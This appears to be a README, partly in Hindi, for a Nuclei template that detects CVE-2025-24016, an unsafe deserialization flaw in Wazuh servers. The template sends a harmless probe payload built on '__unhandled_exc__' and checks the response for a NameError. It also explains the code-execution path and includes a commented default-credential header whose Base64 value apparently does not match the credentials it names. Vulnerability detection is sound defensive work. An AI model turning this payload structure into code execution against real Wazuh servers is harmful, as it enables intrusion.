
Wazuh सर्वरों में CVE-2025-24016 असुरक्षित डीसेरिएलाइज़ेशन RCE का पता लगाने के लिए Nuclei टेम्पलेट, एक क्राफ्टेड JSON पेलोड के माध्यम से जो NameError ट्रिगर करता है।
इस रिपॉज़िटरी में Wazuh सर्वरों में असुरक्षित डिसीरियलाइज़ेशन भेद्यता का पता लगाने के लिए एक Nuclei टेम्पलेट है, जिसे CVE-2025-24016 के रूप में पहचाना गया है।
id: wazuh-unsafe-deserialization
info:
name: "Wazuh Unsafe Deserialization RCE Detection"
author: "Hüseyin TINTAŞ"
severity: critical
description: |
This template detects an unsafe deserialization vulnerability in Wazuh servers.
The DistributedAPI deserializes JSON data using as_wazuh_object. If an attacker injects
a malicious object (via __unhandled_exc__), arbitrary Python code execution can be achieved.
Instead of triggering a shutdown (e.g. via exit), this template uses a non-existent class
("NotARealClass") to generate a NameError. A NameError in the response indicates that the
payload reached the vulnerable deserialization function.
tags: wazuh, deserialization, rce, unsafe, cve, cve-2025-24016
reference:
- https://documentation.wazuh.com/
requests:
- method: POST
path:
- "{{BaseURL}}/security/user/authenticate/run_as"
headers:
Content-Type: application/json
# If needed, uncomment the following line for authentication (Base64 encoded "wazuh-wui:MyS3cr37P450r.*-")
# Authorization: "Basic d2F6dXcta3dpTUltUzNjcjM3UDA1MHItOg=="
body: '{"__unhandled_exc__":{"__class__": "NotARealClass", "__args__": []}}'
matchers:
- type: status
status:
- 500
- type: word
part: body
words:
- "NameError"
nuclei -t CVE-2025-24016.yaml -u http://example.com
किसी भी प्रश्न या अधिक जानकारी के लिए, आप मुझसे संपर्क कर सकते हैं: